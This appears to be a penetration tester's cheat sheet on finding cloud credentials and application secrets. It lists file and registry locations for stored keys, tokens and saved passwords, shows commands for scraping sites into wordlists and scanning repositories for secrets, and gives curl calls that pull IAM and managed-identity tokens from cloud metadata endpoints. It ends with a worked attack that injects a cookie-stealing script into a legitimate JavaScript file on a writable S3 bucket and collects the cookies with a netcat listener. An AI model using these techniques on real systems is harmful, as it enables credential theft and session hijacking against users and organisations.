Cloud

Cloud Creds - Finding Credentials and Application Secrets

Cloud Credentials Checklist

SSH Keys
  • Path: C:\Users\[username]\.ssh\
  • Files: id_rsa, id_rsa.pub, id_dsa, id_dsa.pub, etc.
AWS Credentials
  • Path: C:\Users\[username]\.aws\
  • Files: credentials, config
Azure Credentials
  • Path: C:\Users\[username]\.azure\
  • Files: accessTokens.json, azureProfile.json
Google Cloud
  • Path: C:\Users\[username]\AppData\Roaming\gcloud\
  • Files: credentials.db, access_tokens.db, legacy_credentials
Kubernetes Configurations
  • Path: C:\Users\[username]\.kube\
  • Files: config
Docker Credentials
  • Path: C:\Users\[username]\.docker\
  • Files: config.json (may contain auth tokens)
Ansible Vault Files
  • Search for: vault.yml, *vault.yaml, *vault.yml
Terraform Files
  • Search for: *.tfstate, *.tfvars
General API Keys and Certificates
  • Search for: *.pem, *.key, *.crt, *.cert, api_key, api_secret
Database Configuration Files
  • Search for: database.yml, db_config, *db.yml
Other Sensitive YAML or JSON Config Files
  • Generic search for: *.yml, *.yaml, *.json
Browser Data for Saved Passwords
  • Path: C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\
  • Files: Login Data, Cookies
Windows Credential Manager
  • Command line access: cmdkey to list stored credentials.
Git Repositories
  • Search for: Local git repositories and check configuration files: .git/config
GitLab Runner Config
  • If GitLab Runner is used, its configuration files can contain sensitive information like CI/CD tokens.
    • Path (Windows): C:\GitLab-Runner\config.toml
    • Path (Linux/Mac): /etc/gitlab-runner/config.toml
GitLab CI/CD Files
  • .gitlab-ci.yml: Located in the root of the repository, this file contains CI/CD pipeline definitions, which might include sensitive scripts or commands.
  • Environment Files: Some projects store environment variables in files like .env in the repository, which could include API keys, database credentials, etc.

Scraping Websites for Wordlists

Wordlist - Build CUstom wordlist with Cewl and LongTongue
# Crawl website for wordlist for 5 letter words
# https://github.com/digininja/CeWL
cewl -c -a -m 5 -w data-output.txt https://example.com/

# Filter with awk for words found more than 200 times
awk -F',' '{if($2>200)print$1}' data-output.txt |tr '[:upper:]' '[:lower:]' |sort -u|tr '\n' ','


# Manually edit longtongue.py line 81 for the year and company details
# remove the trailing comma, in the pasted list from step 2
# https://github.com/edoardottt/longtongue
python longtongue.py -c -y -l -n
Cupp and WordlistSmith - C# version of cewl
git clone https://github.com/Mebus/cupp
git clone https://github.com/mattgrandy/WordlistSmith

# Default run (min word length = 3, max length = 10, delay = 100 seconds, timeout = 15 seconds, threads = 10, max depth = 3)
WordlistSmith.exe -u https://www.example.com

# Setting a max number of pages regardless of depth to 1000
WordlistSmith.exe -u https://www.example.com --max-pages 1000

# Quick run (may have issues if site is slow)
WordlistSmith.exe -u https://www.example.com --max-pages 1000 --threads 20 --delay 0 -o outputWordlist.txt

Public Repos and Websites

Gitleaks - Search Entire Commit History for Secrets
docker run --rm --name=gitleaks zricethezav/gitleaks https://github.com/target/repo
trufflehog - install
# Docker
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys

# Using installation script
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin

# Using installation script, verify checksum signature (requires cosign to be installed)
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -v -b /usr/local/bin
trufflehog - Search Github repo/Orgs for secrets and verify them
# scan repo for verified
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json

# scan org for verified
trufflehog github --org=trufflesecurity --only-verified --json

# Scan repo and issues/PRs
trufflehog github --repo=https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments

# scan s3 for verified keys
trufflehog s3 --bucket=<bucket name> --only-verified

# Scan individual files or directories
trufflehog filesystem path/to/file1.txt path/to/file2.txt path/to/dir

# Scan GCS buckets for verified secrets.
trufflehog gcs --project-id=<project-ID> --cloud-environment --only-verified

# Scan a Docker image for verified secrets.
#Use the --image flag multiple times to scan multiple images.

trufflehog docker --image trufflesecurity/secrets --only-verified
shhgit - Consumes the public API or local folder to search for secrets using config.yaml

https://github.com/eth0izzle/shhgit

Gitrob - Clone repos user/org and iterate through commit history and flag files that are potentially sensitive

https://github.com/michenriksen/gitrob

IMDS - Stealing credentials from local endpoints on cloud resources

Azure Managed Service Identity

Examples for curling the endpoint for a managemet token. Can do graph, storage, keyvault, etc.

curl.exe 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true

AWS Instance Metadata Service (IMDS)

AWS EC2 instances use the Instance Metadata Service to access instance-specific data, including IAM roles. To retrieve and use the IAM role credentials:

Using IMDSv1:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

Environment Variables

  • Review: Environment variables for sensitive data using set in CMD or Get-ChildItem Env: in PowerShell.

FileZilla

  • Path: C:\Users\[username]\AppData\Roaming\FileZilla\
  • Files:
    • sitemanager.xml: Contains site information including potentially saved passwords.
    • recentservers.xml: Lists recently used servers, which might include credentials.
    • filezilla.xml: General configuration file that may contain useful information.

PuTTY

  • Registry Path: HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
  • Details: Saved sessions in PuTTY are stored in the Windows Registry. Each session can contain information about the host, port, and potentially saved credentials.

mRemoteNG

  • Path: C:\Users\[username]\AppData\Roaming\mRemoteNG\
  • Files:
    • confCons.xml or similar: This file contains the configuration for all saved connections and may include encrypted credentials.

RDP/RDPW Files

  • Typical Locations:
    • C:\Users\[username]\Documents\
    • Desktop or other user-specified directories.
  • File Extension: *.rdp, *.rdpw
  • Details: RDP files store configuration settings for remote desktop sessions, which might include server addresses and usernames. Note that passwords are not typically saved in plaintext in RDP files.
  • Details: RDPW Files for Host Pools contain the tenantId and appId, as well as some other information that could be useful.

Visual Studio (VS)

  • Potential Sensitive Data:
    • User settings, extensions, source code, connection strings in web.config/app.config, saved credentials in project settings.
  • Storage Locations:
    • C:\Users\[username]\Documents\Visual Studio [Year]\
    • Project directories: .vs and .suo files.

Visual Studio Code (VSCode)

  • Potential Sensitive Data:
    • Extensions, their configurations, workspace settings (server details, API keys).
  • Storage Locations:
    • User Settings: C:\Users\[username]\AppData\Roaming\Code\User\settings.json
    • Workspace Settings: .vscode folder in project directories.
    • Extensions: C:\Users\[username]\.vscode\extensions

Microsoft Teams

  • Cookie Storage:
    • Web Browser: Cookies and tokens in browser cache and LocalStorage.
    • Desktop App: C:\Users\[username]\AppData\Roaming\Microsoft\Teams (Check ‘Cache’, ‘GPUCache’, ‘IndexedDB’, ‘Local Storage’).

VPN Configuration Files

  • Common Locations:
    • Software VPNs: Installation directory (varies by VPN client).
    • Windows VPN: Registry at HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
    • OpenVPN: C:\Program Files\OpenVPN\config
    • Other VPNs (NordVPN, ExpressVPN, etc.): Respective installation directories, usually under Program Files or AppData.

Apache Directory Studio

  • Sensitive Data: LDAP configuration files, connection details, credentials.
  • Typical Location: C:\Users\[username]\.ApacheDirectoryStudio

CoreFTP

  • Sensitive Data: Site manager file containing server names, usernames, passwords.
  • Typical Location: C:\Users\[username]\AppData\Roaming\CoreFTP\sitemanager.dat

CyberDuck

  • Sensitive Data: Bookmarks file with server details and credentials.
  • Typical Location: C:\Users\[username]\AppData\Roaming\Cyberduck\bookmarks\

S3 Browser

  • Sensitive Data: AWS credentials, configuration settings, and possibly saved query history.
  • Typical Location:
    • Windows: C:\Users\[username]\AppData\Roaming\S3 Browser\ (look for files like settings.xml or similar, which may contain configuration details and credentials).
    • Note: S3 Browser stores AWS Access Keys and Secret Keys, which are critical for AWS access. These should be handled with utmost care.

FileZilla Server

  • Sensitive Data: Server configurations, user credentials.
  • Typical Location: C:\Program Files\FileZilla Server\

FTPNavigator

  • Sensitive Data: FTP server credentials.
  • Typical Location: Check within the installation directory or user profile folders.

KeePass Configuration Files (KeePass1, KeePass2)

  • Sensitive Data: Database files storing various credentials.
  • Typical Location: User-defined, often in the documents folder.

PuttyCM

  • Sensitive Data: Database files with stored session information and credentials.
  • Typical Location: Check within the application’s specified data storage path.

Rclone

  • Sensitive Data: Configuration file with cloud storage credentials.
  • Typical Location: C:\Users\[username]\.config\rclone\rclone.conf

WinSCP

  • Sensitive Data: Stored sessions and credentials.
  • Typical Location: C:\Users\[username]\AppData\Roaming\WinSCP.ini or Registry.

Windows Subsystem for Linux (WSL)

  • Sensitive Data: Linux files, including SSH keys and configuration files.
  • Typical Location: C:\Users\[username]\AppData\Local\Packages\[WSL Distro]\LocalState\rootfs\

gFTP

  • Sensitive Data: FTP connection details.
  • Typical Location: ~/.gftp/gftprc

KeePass Configuration Files (KeePassX, KeePass2)

  • Sensitive Data: Database files storing various credentials.
  • Typical Location: User-defined, often in the documents folder.

History Files

Linux (Bash)
  • Sensitive Data: Command history that might include sensitive commands or data.
  • Typical Location: ~/.bash_history for Bash
Windows (CMD and PowerShell):
  • CMD (Command Prompt): Command history in Windows CMD is stored in a file named C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Command History.
  • PowerShell: PowerShell maintains its own history file, which is typically located at C:\Users\[username]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

S3 - Writeable - Cookie Stealer from Server with attached S3

We compromise a webserver, see in the source that it’s accessing S3.

S3 - Enumerate public list, bucket ACL, File ACL, check writeable
# public list
aws s3 ls s3://webapp-123456 --recursive --no-sign-request

# bucket ACL
aws s3api get-bucket-acl --bucket webapp-123456 --no-sign-request

# file ACL
aws s3api get-object-acl --bucket webapp-123456 --key assets/1.jpg --no-sign-request

# Write a file to test
cd assets/
echo test > test

# check exist
aws s3 cp test s3://webserver-123456/assets/test --no-sign-request

# print contents with -
aws s3 cp s3://webserver-123456/assets/test - --no-sign-request
S3 - Replace js file used during login with Cookie Stealer
# insert into legitimate bootstrap.js
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://localhost:8000/?"+document.cookie, true); 
xhr.send();
# backup js file
cp bootstrap.min.js bootstrap.min.js.bak

# edit
nano bootstrap.min.js

# Upload the new file to replace the old
aws s3 cp bootstrap.min.js s3://webserver-123456/assets/bootstrap.min.js --no-sign-request

# Verify by printing with - again
aws s3 cp s3://webserver-123456/assets/bootstrap.min.js - --no-sign-request

# start listener on the server to capture the session cookie
nc -lvnp 8000